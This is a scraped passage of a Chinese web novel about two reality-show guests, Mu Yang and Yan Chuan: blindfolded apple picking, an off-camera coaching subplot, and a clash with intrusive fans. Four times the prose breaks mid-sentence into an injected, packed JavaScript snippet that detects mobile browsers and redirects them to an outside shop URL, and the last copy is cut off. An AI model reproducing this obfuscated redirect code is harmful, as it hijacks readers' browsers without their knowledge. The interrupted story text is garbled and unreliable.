“人中诀,把手指按在人中上,可以起到一个短暂重启的效果。” “好吧,好像对我来说没有什么作用。”牧阳随口应答,最后还是绷不住先笑场了,“什么乱七八糟的!” “你让我炼尸,我又没有经验。”晏川装无辜。 “没有经验就学……哎哟!”牧阳一脚踏空,晏川立刻一个健步上去扶住她。 “没事吧?” “这,这平地啊……”牧阳讪讪用脚踏过地面。刚刚差点平地摔了。 “慢慢走,没关系的。”晏川说,“我们有一整天的时间。” 趁她看不见,他飞快睇她一眼:“是吧牧老板,没经验就学。” “……好啊你!我瞎一整天,说干你的嘴皮!”牧阳生气地伸手,要往刚刚晏川的方向挠。 晏川后退小半步抓住她的手臂,马上触发了节目组的肢体接触警告。 “好吧,”晏川放开手,“牧老板,请。” “这才对。”牧阳大踏步向前。 经过这个小插曲,两人之间的氛围总算轻快起来。牧阳运气不错,句在半空的手真的碰到一个圆圆的,饱满的果实:“哟,苹果!” 她一个用力,就听到枝叶摇曳的沙沙声响。 苹果脱离树干,来到她的手上。 真的摘到了。 首战告捷,对所有人都是一个鼓舞。 晏川夸道:“真好,看来我们……” 话音未落,苹果就顺着她的手落到地上。 “口袋太小了!”晏川发现了问题。他捡起那个苹果,问旁边的果农:“抱歉,这个苹果我们损坏了,有什么补救措施吗?” 得到被他们损坏的苹果要按单价买回去自己消化之后,牧阳倒吸一口凉气:“怎么不提前说啊!” “没关系,下次摘到苹果之后,我会撑开袋子,你放的时候小心一点,我们会没事的。”晏川安慰她。 牧阳却不依不饶:“这条规则之前没说,所以这个不算,这个算节目组承包了免费送我们的!下一个才能给我们算!” 然而木船组的组长很硬气:“隐藏规则关键时刻才会触发,而且苹果单价不贵,请尊重果农们的劳动成果。” 牧阳一听这话,原本要说的内容到了嘴边也停住了。 “如果需要足够尊重果农的劳动成果,请给我们一个好一点的筐子,而不是这个危险的布袋。”晏川直接道,“如果不给我们换筐子,那这个苹果的损失就应该算在节目的大家身上,因为这是大家共同的疏忽。” 牧阳看不见。她侧耳听晏川说话的方向,也跟着贴过去,静静站在他身边。 两人沉默,其中一人还看不见,但组长莫名觉得压力很大。组内有个小姑娘热情,找台阶:“好啦组长,这一条规则嘉宾老师们已经触发了,要不就算了?其他的隐藏规则不能再让他们钻空子。” 一直跟组的姬慧撇过来一眼。 组长撇撇嘴,笑道:“行行行,算节目组的。不过接下来的隐藏规则,你们自己探索,一旦触发,还是要扣除对应的资金,” “真是坏啊。”牧阳笑了笑,歪着头好像在找晏川,“我们继续?小川,指挥。” 晏川:“向右转。可以了,往前。” 牧阳一步一步往前走,本来已经放下的手抬了抬,又迟疑了:“这么一直举着好酸啊。” “你自然行走,到距离我提醒你。”晏川立刻接话。 牧阳立刻朝着声音传来的方向回复:“幸好你在。” 原来她笑起来嘴角的弧度是这样的。 他总是太注意她的眼睛,像太阳太亮,总忽视俏皮变换的云。 “举手,对,伸直。”晏川指点她,“右手抓住苹果——别动!现在伸出左手,我把剪刀递给你。” 牧阳剪下苹果,这样就不会伤到树,也能省力气。晏川撑开布袋,让苹果滚进去。 两人的配合逐渐默契。牧阳也开始适应盲行,甚至能自己估算两棵果树之间的距离。 为了少走点,晏川会让牧阳尽可能把每棵树范围内的苹果都摘完。 “一点钟方向,伸直手,再往上抬十五度左右……好。” 牧阳一边剪下苹果,一边忍不住感慨:“晏川,你指挥好仔细啊。” 晏川不知道说些什么,手先一步撑起布袋。要接下去的甜言蜜语,还是应该配合得更加沉默? “我发现,听人讲话其实挺有意思。”牧阳说,“我平时其实没有耐心听那么多的。” “大家都是这样。”晏川说,“所以盲人很不容易。” “确实。”牧阳继续摘自己碰到的苹果,“所以要不要趁着这个时间和我多说点什么呢?算是我难得有耐心听你说话的时候。” 晏川愣了一下。他很快笑了起来:“我不敢。” 牧阳没反应过来:“有什么不敢的。” “是谦谦姐姐自己说的,多说多错。”晏川笑眯眯道。 “……这个啊,”牧阳终于想起来了,“难怪我说这几天你怎么一直欲言又止的。有什么不满的,现在告诉牧老板,你谦谦姐姐不会怪你的。” 晏川当真一边看她摘果子,一边斟酌,一时之间没开口。 牧阳停住了:“指挥啊,我不是机器人。” 晏川连忙报方向,让牧阳再移一步。 牧阳这才又摸到苹果,满意地开工:“不说吗?” “不要威胁我。”晏川下意识回了一句,又连忙找补,“我在想了。” 牧阳却笑了下:“就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992412|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 威胁你了怎么样?” 晏川无奈地耸肩:“我们就非要吵架吗?” “我只是不喜欢回避问题。”牧阳解释,“我们一直在兜圈子,这样很没意思。” 晏川撑着布袋。 牧阳能感觉到自己的布袋越来越沉。这种结结实实的感觉,确实能让人跳过其中过程,直接体验果农的快乐。闭上眼之后去摸苹果,竟然能感觉到苹果摸起来是毛茸茸的。 仿佛有一层很短很短的,人看不见的浮毛在上面,让它甚至有一种粗粝的质感。不同的苹果还有一点点区别,就像人有长发和短发,发质也会有偏硬和偏软。 这个果园的苹果摸起来就“偏硬”。 牧阳在想象这种苹果吃起来的滋味。会是那种更糯更发面的口感,还是更加饱满多汁,爽口脆甜? “……你在听我讲话吗?”晏川问。 “什么?”牧阳连忙侧耳去听。 “小心碰到了树枝上面的尖刺头,别走神了。”晏川小声说。 “哦哦。”她连忙答应。 “我没有回避问题,”晏川说,“只是我不喜欢对抗、攻击的解决方式。你一直这样吗?” 牧阳的动作顿了一下。 她笑着拧向一边:“我也没有吧,我记得我一直在夸你啊,我说你指挥得很好。” “你在反问我,”晏川说,“我注意到好多次了。暂停。” 牧阳没理他,还在往前走。 晏川上前一步,直接伸手在半空截住,牧阳的腰撞了上去。她的第一反应是去护怀里的布袋,意识到布袋领口闭合,不会翻倒之后,她才放下手。 “还没到下一棵树吧,这个距离我数着的。”牧阳抬头笑。 “我指挥,”晏川说,“既然我指挥了,你也不能只听你想听的,只说你想说的。” 牧阳好像在理解他这句话。 “那你想?”她问。 他没说话,最后放开了拦着她的手:“继续往前走两步,停,往右半步。” “这个地方有石子,”晏川解释,“继续往前,对,右转。” “哦。”牧阳回,熟练地摸剪刀,接苹果。 “能和你相处这么多时间,我不想吵架。”忽然地,晏川在她身后冒出一句,“我们可以约好吗?如果你对我有什么不满,或者我的举动让你觉得很不合适,你可以表达,但是不要攻击你自己。” 牧阳捏着苹果,没有让它落进袋子里。她抚触着这层短短的绒毛,好像它能安抚她似的:“……嗯?” “就是,比起你说‘你不是机器人’这种话,我更想听到你说‘你是哑巴吗’,”晏川缓缓解释,“当然,我更想只听到你说,‘你需要指挥’。” 牧阳摩挲着苹果。她像是在消化这句话。另一棵树的阴影倏忽间从他俩头顶移开,阳光再次照进来。大棚这种地方还真是湿热。 “好,”牧阳问他,“布袋撑开了吗?” “一直撑着。”晏川说。 “我需要你把它撑开——你想听到这个?” “是的,大概。”晏川说,“我可能也表达得不够好。” “没关系,”牧阳点头,“我——你表达得确实一般。” 她活学活用道:“不过我觉得挺有意思的。试试看吧。” 22. 【二二】 装满苹果的布袋越来越沉。晏川趁牧阳不注意,先一步托举起布袋,无形地减轻她行走时的负担。 牧阳只顾着采摘,一时没注意身上布袋的负重变化,依然围绕着看不见的果树忙忙碌碌。 “我想度假了,”牧阳叹气,“我想去海边晒太阳。” “那准备什么时候去?”晏川站在旁边问。 他一直跟着牧阳,托举她身上的苹果布袋,像侍卫托着公主过长的衣摆。 “……你,”牧阳反应过来,话到嘴边换了个说法,“我只是说说而已。” “哦。” 小狗的声音听起来好失落啊。她都能想象某人眉眼耷拉的样子了。然而一瞬闪过的重影晃入脑海,让她好不容易适应的平衡都动摇三分。 “小心!”晏川支撑住她。 牧阳连忙踩稳,笑笑道:“没事。继续,下一棵树?” 等半天也不见他回,她一跺脚,剪刀拿在手里,无意识地剪着空气:“怎么了?我说——我们出发去下一棵树——我需要找一个我更方便的位置。” “……嗯,知道了。”晏川站起来,继续不着痕迹地提着布袋一角,指挥牧阳往前走。 晏川不确定她到底是听进去了,还是在和他玩。不过她一直如此,他常常抓不住她真正认真的点。 他甚至不确定,这是因为真人秀节目的需要,还是因为她原本的个性。 ……又或许,只是她对他是这样? 他对此行报以太多期待,没想以这样的面目认识她,也不希望她以这样的态度来认识自己。 不过,这样…… 也许对她来说是好事吧。 晏川不敢多想,也不敢多问。 苹果落入布袋,差点从已经被撑得满满当当的布袋中掉落。 牧阳感觉到手一滑,但另一边的晏川已经稳稳当当地将这颗掉出去的苹果接住,塞在布袋最空的那个角落里。 “够不够?”牧阳问晏川。 “应该够。按我们昨天猜测的考核谜底,说不定还会超出一些。”晏川在旁边掂了掂。 于是牧阳自信地举手:“导演,我们申请结算!” “小心,我把布袋抱上去称。”晏川就着一直悄悄提在手中的布袋一角,把整个绑在她腰上的布袋解下来。 系布袋是她自己,这回盲视中腰部骤然被人碰触,她的身体立刻紧绷。是小川,没事的。牧阳手上一抓,再次松开,大大方方地摊手:“我的这个眼罩可以摘了吧?” 听到节目组允许摘下的许可之后,牧阳不等别人帮忙,自己就急忙去抓头上那条黑色的绑带。 视线恢复的一刹那,入眼是大片的金红。 她眨眨眼睛,忽然看到秤上满满当当的苹果。 “天呐!好大一袋,这都装得都塞不下了。”牧阳一下就被布袋中苹果的数量震惊了,“我们摘了多少啊!这肯定满足条件了吧。” 她顺势提了一下秤上的布袋,发现没提起来。 一旁的导演组报了个数字。果然他们效率够高,反馈远超预期,完成的量是节目组规定的翻倍。 牧阳立刻喜得要和晏川击掌:“太好了!” 晏川果然来和她击掌。 明明他刚才帮了不少忙,却不邀功,好像他没做似的,非要藏着。 他总是这样。动作大方,但是抬手那片刻的迟疑显得有些生涩。像是不好意思,又好像是心里有愧。明明接近她的时候机敏得很,头脑灵活狡猾得很;如今到了镜头面前,却好像被她事前的几次警告恐吓到了一般,每次发言都有很多犹豫的部分。 虽然没到软弱的地步,但总归比之前显得温吞。像是在观察她,让她觉得不适应,就仿佛……他在讨好。 这一点在系好绑带之后被放大了。 她甚至有一种不安全感,因为旁边的人听到她说话却没有反应,让她没来由得感到恐慌。 牧阳向来做惯了那个给反应的人,从来只有别人急于表现,少有这种需要对方肯定自己的时候。 这种感觉,她实在太讨厌,简直是厌恶。 不喜欢高高在上,不喜欢循规蹈矩,不喜欢层层分明,不喜欢等级体系。学生时代那种非听老师家长不可的日子已经过去了,刚工作那会周旋在几方势力之间谨慎奉承的日子也已经过去了。 如今一朝重回这种需要别人指导的时刻,她哪怕已经不会再害怕和恐惧,可也始终避免不了几分的焦虑。 晏川在告诉她该怎么做的时候很细致,毫不含糊。他指挥的方向够仔细,虽然她总想调侃几句,但内心是很赞赏认可这种方式的。 可是他在指挥之外,就显得实在让人心慌。 她想听到他的回应,哪怕是互相攻击的回应,带刺的回应也好。她已经习惯这种方式,哪怕到最后两败俱伤,她也有把握是赢的那一个。在决出胜负前,享受就好。 不要藏着。 她害怕那是什么更深的危险,要将她拖到什么未知的深渊里去。 “哎,”于是她凑近他一步,“你刚刚悄悄拎袋子了是不是?我自己一个人可提不起来。” 晏川的手掌还贴着她的。她凑得离他够近,两人面贴着面小声说话。她的嘴唇一张一合,他的眼睛落在上面,带着脑子好像有一半都在失神,但本人还在下意识地回她的话:“这不算违规。我们各拿了一半,就不容易提前称量。” 要是提前申请结算就进陷阱了,没达标的数量可是要返回重来的。有些时候任务完成得太顺利,也不是什么好事,因为会没有素材量。牧阳当然不想再做其他任务,但她还是警惕节目组会上隐藏环节。 晏川的手一空。 牧阳转身说:“多出来的苹果可以卖给节目组吗?” 于是蹲在旁边的一个编导问她:“我们要多出来的苹果干什么呢?” 组长更是气笑了:“果园都已经被承包了,这就是节目组的苹果!” “那……卖给嘉宾?”牧阳问,“如果卖给嘉宾的话,这个资金是可以流动的吧?” 晏川一听这话,内心已经算出了大家当前大致的盈余:“你要卖给姚柯叶和池知夏?他们的资金很充裕。” “不,”牧阳说,“卖给沈蔷薇和贺平。” 晏川听了却不明白:“他们的资金剩的不多了。” “可是他们会买的。”牧阳说。 晏川相信牧阳有把握,但是他问:“如果他们破产了,明天我们就得迎接‘团战’。” 话音刚落,他意识到她话里的意思:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992413|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想直接……” 牧阳拿起一颗苹果,在手里掂了掂:“确实卖不了他们那么多。他们也没那么多钱。” 于是那颗苹果被放到他掌心。 “这颗给你。”她又拿起一颗,“你一颗,我一颗。” 沉甸甸的感觉。 他只觉得肩膀一重,不知道如何才能让她对自己满意起来。小狗殷切地跟在她身后,急得要在她脚边转圈。 “算了,”她叹气,“节目外说吧。” 东海大学,某间男寝宿舍。一个男生披着毛巾从卫生间出来,垂至肩膀的长发淌着水珠,一滴一滴沿着发丝落下。他顾不上擦,凑到铃声一直在响的手机身边,把电话接起来。 “自拍杆他们没拿上,”男生说,“我上次就说了,节目组只让他们准备七件行李,他们只收拾了要紧的。” 对面那个人听到这个消息,又说了好多话。男生只是默默地听着,时不时“嗯”一声。他一只手接着电话,另一只手从凌乱的收纳箱里翻出一片残纸。男生换了一只手,准备再找一支笔。 他的书桌太乱了,笔也不知道被放去哪里,笔筒里竟然只有几根纸吸管。 “嗯嗯,我知道,这些我都有告诉他,钱也早就给他转过去了,”男生不耐烦地说,又蹲下身搜寻地面,“他都收了。怎么可能不收钱,他穷的连双新鞋都买不起。” 那边的人似乎沉默了几秒,没搭理他的话。 男生斜眼一瞅对面鞋架,除了那双旧球鞋之外,竟然只有一双拖鞋。再抬头,就是干净得只剩下专业书的书桌,还有头顶那张保护隐私的纯色床帘。 他没好气地翻个白眼,不客气地从这位看起来不像人的兄弟桌上借走一支笔,单手脱去笔帽,在残纸上笔走龙蛇。 “好的,我等会就转达给晏川,”男生说,“他说录制现场看手机不方便,而且那女人和他睡一起,他那破手机都不是防窥屏,风险很大——我已经警告过他了,肯定按您要求的来,包表现不好的。” 对面的人又说了两句什么,男生的笔一顿:“行,那我先把消息发给他,看他怎么回。行,那我到时候直接把聊天记录转给您——对了,您说让罗哥扶持我的账号——嗯嗯,那麻烦您再和他说一次了,因为我这边好像没收到消息。” 来回掰扯了两句,对面挂断电话。男生这才放下手机,用毛巾擦了擦头发,兴致缺缺地开始找吹风机。 又找了好半天。 给吹风机插上电,他才坐下来,慢条斯理地一边吹头发,一边解锁手机,点开其中那个线条小狗头像的聊天框。 [天天有情歌]:(图片)(图片)(图片) [天天有情歌]:(视频) [天天有情歌]:记得找机会在镜头前模仿一下这个看书的姿势,还有这个投篮的 [天天有情歌]:投篮的要模仿得丑一点 发完消息他就继续吹头了。吹完头,做完皮肤护理,他才悠悠拿出另一只手机,用支架好好夹住,保证只露到自己的肩膀,背景也只有那张室友的纯色床帘。 游戏录屏一直进行到深夜,两个室友都睡了,灯也早就熄灭。 手机屏幕忽然亮起。一条消息闪过,他还没来得及看。 [一杯朱古力]:知道了 23. 【二三】 果园外,牧阳指挥晏川把硬纸壳板做成的招牌插在路边。 ——苹果采摘,二十元体验一小时,免费租工具。 在这行字底下,另外写了出售苹果,按斤收费,比市场价还要便宜一些。 “会有人来吗?”晏川最担心的还是这个问题。 “会不会有人来的,总得先试试吧。”牧阳叹了口气,抱臂站在路边。 “要不要再买点吃的东西?”晏川又问。 牧阳耸耸肩:“不了吧。饿了就吃苹果,渴了——也可以吃苹果。多吃点,万一卖不掉,只能归节目组回收了。” 一个小时前—— “不让卖给嘉宾?”牧阳问,“为什么啊?” 节目组的编导解释,因为出现了意外状况,沈蔷薇和贺平所在的花瓶组直接破产了。 牧阳不敢相信:“哈?他们做什么了。” 节目组当然不会透露更多消息。总之,牧阳打算从同行嘉宾头上挣钱的计划此时已经宣告破产。而且,可以预见的是,明天的主题赛会是三组嘉宾的混战,晚上的拍卖会今天也会终止。 一组破产,另外两组之间也会被终止交易。现在能挣多少,都是接下来“过冬”的底气。 不过,牧阳也没指望挣多少钱。她是知道节目组需要素材,因为她和晏川完成任务太快了,为了保证后期有加更素材可以剪,她很上道地出主意整花活。就地利用果园招揽生意,还不用挪位置。 这会儿节目组的编导已经在吃隔壁农家乐给他们现杀的土鸡了。 她当然很馋,但是她一点资金也不敢花,怕节目组趁机宰一笔。 晏川低着头吃苹果,好像只是吃点苹果就满足了的样子。 他难道没嗅觉?这么沉得住气。 “小川,你吃点苹果够吗?”牧阳还是忍不住问。 晏川顿了一下,看向她:“我够了。也可以再吃点别的,看你。” “节目组超级坏,这个味道太香了。”牧阳遗憾地吸吸鼻子。 晏川笑了一下:“确实有一点。” “只是有一点?”牧阳瞪大眼睛,“这么香!你真的闻了一点都不动心?” “没有啊,”晏川说,“但是越想越容易饿,还是不想了吧。” 牧阳抿了抿嘴,继而换了个话题:“怎么也不见他们养狗。” 晏川没有跟上:“……啊?” 牧阳说:“我要是有个这么大的院子,我就养狗。” “你想养什么狗?”晏川转头问她。 “什么狗都可以,我不挑。”牧阳笑道,“什么狗都很可爱,养什么都好。” “那养猫呢?”晏川又问,“为什么不考虑养猫。” “猫?为什么要养猫呀,猫不需要那么大的空间,”牧阳说,“而且猫会占地盘,还要给他们收拾猫砂盆……” 她发现晏川的表情不变,眼神中却透露出来一种古怪。 他怎么了……牧阳眼神一错,看到两人身后黑洞洞的镜头,猛地反应过来,冷汗瞬间下来了:“猫很可爱啊,我也挺喜欢猫的,但是比起猫,我更喜欢狗。” “狗和猫都很难照顾吧,”晏川说,“玩脏了都要收拾。” “这也是难免的,不过我喜欢狗狗啦,”牧阳深吸了一口气,“主要是养了狗,就不得不每天巡视院子了——” “所以你觉得,狗是你的所有物。猫不是,猫会和你抢,猫要当你的主子。”晏川若有所思。 牧阳打了他一下:“说什么呢。都是陪伴人类的小精灵,只是陪伴的方式不同。你一直给我设陷阱是不是?我感觉我越描越黑了啊。” “没有啊,”晏川这才微微一笑,“就是想知道你为什么想养狗。” “有你这么问的吗,”牧阳吐槽,“反正,我现在都不用养了。” “为什么?”晏川有些意外。 “因为,我身边已经有狗东西了呀,”牧阳说,“走吧。” “……你在说我?” “还能是谁?”牧阳勾勾手。 晏川不肯起来,显然不想当狗东西。 “小川。”牧阳连姿势都没变。 像自动识别到了关键词。晏川反应过来的时候,已经条件反射地站起来,走到她身边去了。 牧阳也没想到这么准,一下子笑出了声。 晏川瞪大眼睛:“……怎么会!” 然而某位罪魁祸首笑意不止。她抬起来的手翻了个面,按在他头上,揉了揉他的头发。 阳光正好,落在牧阳盖于晏川发顶的手背上。金色覆满了雪,照得她樱色的指甲都圆润饱满。她低下头,却发现半蹲下身的他几乎把自己全藏在了阴影里,黑色的头发吸饱了光,如深井一般幽暗。 终于休息了。牧阳坐着闭目养神,毕竟他们回小屋之后还要继续录制,估计又要深夜才收工。 “小晏哥,你不睡?”前排跟车的编导问了句。 “回学校里的一些消息。”晏川说。 “好,两边都忙,辛苦了。”编导由衷感叹。 “不辛苦,出来就当放风了。”晏川压低了声音,手上还在回消息。 编导也是实习大学生,很有共鸣地倒苦水:“总比早八好!” 晏川点头,手指竖在嘴边,噤声的手势。 编导愣了一下,顺着他的视线瞥到一旁已经睡着的牧阳,不好意思地笑笑。 车上彻底安静下来,不再有人打扰。 线下安静了,线上还是一片繁乱。找晏川的人不少,还有很多想加他的。 回消息,发信息。他一条一条处理完,长舒一口气。 车窗因为防窥处理,看起来黑沉如墨。窗外的景色也晦暗不明。 如同夜色一样的玻璃,倒映出一双若有所思的眼睛。曾被牧阳称赞为看狗都深情的眼神,现在像一柄来自深海的利刃。 把刀扎进去吧。让鲜血抚慰你遍体鳞伤的双腿。动手吧,动手,取回自由。 肩膀一重。 晏川撇过头去,发现熟悉的气味盈满他的鼻腔,熟悉的碎发挤在在脸侧。 牧阳睡得沉了,刚刚车转弯,她头一歪,竟然倒在他身上。 像是从水里突然被捞出来似的,晏川倏忽惊醒,看向身边的牧阳。她显然觉得被安全带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992414|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压着很不舒服,想换姿势。晏川不敢动,只感觉到有衣服磨蹭过椅背的窸窸窣窣声。 她懒得动弹了,只是稍微滑下去了些,枕在他肩头。 晏川搂住她,让她靠得稳一点。 这个姿势只能看见她发顶,看不到她的脸,也不知道她有没有发现点什么。 很明显她对他的种种表现多有不满,他还明知故犯,表现得并不好。 牧阳的直觉很准,她或许已经发现端倪,他其实瞒不住什么。但只要她不揭穿,他们就还能继续这样相处。她的那些刺看起来扎人疼,其实软乎乎的,更何况已经被她伤得这么深了,再被她讽刺怨恨几句,对他而言又有什么在乎呢? 反正在摄影机之下,他做得这么不好,她也可以包容。就让他贪图这独处的片刻。 然而,这时间也太久了。 晏川恍然发现,光线暗下,已经不只是车窗防窥的效果。 远处的鸣笛声吵醒了牧阳。 这一觉真是够久的,牧阳几乎又要做那个追着流浪小狗跑,抓着它要摸它头毛的梦。不过这个念头没冒出来多久就消失了,她费力地睁开眼睛,还没看清身边的人是谁,就已经下意识地在他脸颊上亲了一下。 ……不对。 牧阳彻底醒过来了。她才反应过来自己做了什么。太快了,太自然了!她其实从来不这样! 晏川好像也被她亲蒙了,两眼圆溜溜地瞪着她看,看起来好像有点生气……好像没有,可能只是有点吃惊吧。 还挺可爱的。 牧阳想到这里,再次放松下来:“小川?” 她刚睡醒,声音还有点哑哑的。 “嗯。”他应了一声。 脸色真阴沉,哪还像他平时爱发的简笔画小狗。 晏川此时的心情绝对很不好。 牧阳意识到这一点,但他既然没有什么表示,她就不管,转而去观察周围的环境。 “宝,现在外面这是什么情况?我看手机已经晚上六点多了?”牧阳难以置信地亮起屏幕,和前面的编导交涉。 “牧姐!”编导就开始给牧阳解释。 他们遇到堵车了。 这荒郊野岭的,怎么会莫名其妙发生堵车呢?是有节目组内部的工作人员泄露消息,于是来了一批看起来有组织的人。 “是狗仔?”牧阳的心沉下来。 情况比她想得还要糟。 “是私生,”姬慧挤上车来,她看到牧阳就像看到救星似的,“爹的,这几个人怎么阴魂不散,明明他已经解约改签了!” “组长已经辟谣了不是江百川在录节目,她们不肯走。”负责传话的编导急得满头汗。 牧阳有数了:“我知道了。我去谈。” “姐!你不能出面!”姬慧下意识急了,“我们不知道这些人带了什么,但是他们可能会攻击你!” “……所以麻烦节目组的大家保护我了,”牧阳侧头对几位工作人员微笑,“唉,回头我会和小春聊的。” 牧阳刚拉开车门,晏川突然拉住她的手。 “先别下去吧,”晏川说,“我们可以报警。” 24. 【二四】 “小晏哥,我们已经报警了,”旁边的编导连忙说,“那边回电说已经出警。” “那就是还在路上,”牧阳一看车门外的交通状况,果断下车,“不能拖,再拖影响更大。” “牧阳老师!”跟车的编导担忧地喊了声。 “没事,”牧阳回头笑了笑,“总要试试看。” 编导想再劝句话,两个人影相继从车上跑了下去。 速度太快了,根本拦不住。 编导:…… 晏川先一步下来,一声不吭地跟在牧阳身后走。 姬慧急得在后面直追:“小晏同学……我去……” 牧阳倒是真的懂这些人的心态。 她气场太强,身边又跟着人高马大的摄像师,这些闹事者一时之间也被她镇住。当然,也是因为这里出现的只有她,所以她说“真的没有江百川”,大家都信了几分。 过去她对他的保护太深入人心,网上看热闹的人很多,这些专门蹲点的私生反而将他们死死绑定在一起,好像她会永远站在他身边。 见江百川真的不在,他们也终于放弃,三三两两地走了。牧阳笑意未变,转身的时候忽然有什么东西破空而来,砸在她身上。 牧阳一下转过头:“谁扔的!别浪费粮食!你家母鸡知道你扔它的蛋多难过啊!” 然而人都散了,哪里找得到谁扔的。 牧阳没好气地往回走,姬慧急得上来,掏纸巾边走边给牧阳擦。 “先回去,回去再处理。”牧阳说。 姬慧:“我打个电话问问李铭运,刚刚我看那几个人不像以前见过的那些人。” 牧阳也觉得这些面孔太陌生,点点头:“幸好晏川没下来。” 姬慧努努嘴,牧阳往前一看,这才发现晏川就站在她两步之外,此时已经听到她刚刚的话。 “……也是为了保护你。”牧阳解释了一句。 他出现,很可能被断章取义,被营销号做文章。反而容易添乱。 “我有拦着他。”姬慧趁机说了一句。 “嗯,你做得好。”牧阳夸了她一句,“走吧。” 晏川跟着牧阳上车,再次坐回原位。但这次他们之间的距离远远的,她靠着窗,接过工作人员递来的纸巾擦头发。 “……抱歉,我给你添麻烦了。”他听到了刚才牧阳和助理的对话。 “没事,没什么影响。”牧阳回了一句。 她说的是实话,没有敷衍他。 晏川觉得心里闷得慌,好像自己的心也被砸了一下,克制不住的酸疼。 他定了定神,下定决心:“我有事要和你说。” 牧阳头也没抬:“录完再说吧。” 听她这样的语气,晏川心里已经有些急了。他试图争取道:“是急事。” “那你现在说。”牧阳说。 现在到处都是人,他怎么说? “……现在不太方便。”晏川在想该怎么和她解释,不知不觉放软了声音,“谦谦姐姐……” “先让我休息会。”牧阳声音也低低的。她刚刚神经绷得太紧,现在还是感觉额头一突一突的疼。 晏川看她扶额的动作,猜到她是头疼:“那我帮你按一下?” 牧阳睁开眼睛:“你会吗?” 晏川:“我试试。” 牧阳也不客气,又往他的方向靠了靠。晏川抬手靠近牧阳的太阳穴,开始给她按压起来。 这么按着好像还挺舒服。 ……难道他真的会? “算了,开车了。”牧阳感觉到沿路颠簸起来,连忙阻止他。 晏川恹恹地放下手。 他就算着急也没有办法。 没想到他们才是意外最多的一个组。等牧阳和晏川回到小屋,天已经黑得不像话。她一看时间,这会早睡的小孩和老人恐怕已经上床休息了。 “怎么这么黑?”牧阳发现工作人员在收器材,不像准备录制的样子。 “哦,几位老师说先休息一下,这会儿可能是已经睡着了。” 叫不醒了呢,真鸡贼啊。 牧阳耸耸肩:“有没有吃的?我和小川还没吃饭。” 最后两人凑在星空房吃泡面。 牧阳吃泡面的时候就在发呆,吃完了也没有搭理人的意思。 “太累了,明天估计要从早录到晚,快睡吧。”牧阳丢下一句话就去洗漱,敷衍得在镜头前都懒得掩饰。 虽然在车上睡得时间久了一点,但并不意味这是一场高质量的睡眠。牧阳只觉得自己的肩颈因为长期保持同一个姿势太久,至今有些酸疼。 而且她最近肯定是累过头了,今天竟然在车上糊里糊涂的就把晏川给亲了。唉!怎么想的呀,就是什么也没想吧?她都没反应过来晏川是谁就亲了,虽然亲就亲了,也没什么后果。 接受现实吧。 牧阳快速冲了个澡,一头栽倒在床上,恨不得沾枕就睡。 今天这么失控,肯定是梦里的小狗害了她。她早晚要找到这只光知道一个劲托梦,不知道来找她的顽皮家伙。 身下的床垫又软软地塌下去一块。 晏川小心翼翼地上床了。他的动作轻轻的,显然是怕吵到了她。短短几天她就好像已经熟悉这股热源的贴近,因此也生不起丝毫警惕之心。 “你……睡了吗?”试探的声音低低的。 一定离她很近。 有什么柔软的、沉重的东西靠近她了。 是星空房那床软酥酥像牛奶吐司一样的被子。 晏川刚给牧阳掖好被子,她就不满地带着这层被子一起往他的方向滚来。 他慌忙接住她。 她不高兴地自己扯了扯被子,咕哝一声。 他本来就靠在她身边,此时自然侧耳去听她在说什么。 耳朵离得近了,只听到她的呼吸。 可能是梦话吧。 晏川想了想,把自己塞进另一床被子里。 还是得找个机会告诉她。 ——无论这件事会带来什么后果。 这一觉并不安稳。晏川早早起床洗漱,因为节目组的催促,也不得不去把还窝在床上没起来的牧阳叫醒。 因为昨天的录制计划没进行完,今天的录制开始得很早。就算是最注重健康管理的池知夏,刚才都嘴甜地接了一杯三合一的速溶。 “怎么了,你不喜欢喝咖啡?”牧阳看他迟疑,凑过来问。 晏川摇摇头,低头把咖啡喝了。 清早的天空灰蒙蒙的,大片大片的云雾遮蔽了天空。自然光很一般,但今天的行程依然在户外。 “两位老师,今天应该会提前收工,因为气象预报显示下午五点之后下雨。” “啊,要是公司的同事知道了,肯定觉得很不爽。”牧阳耸耸肩,“不过既然在录节目,能早收工就最好了。谢谢你啊。” “不客气的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 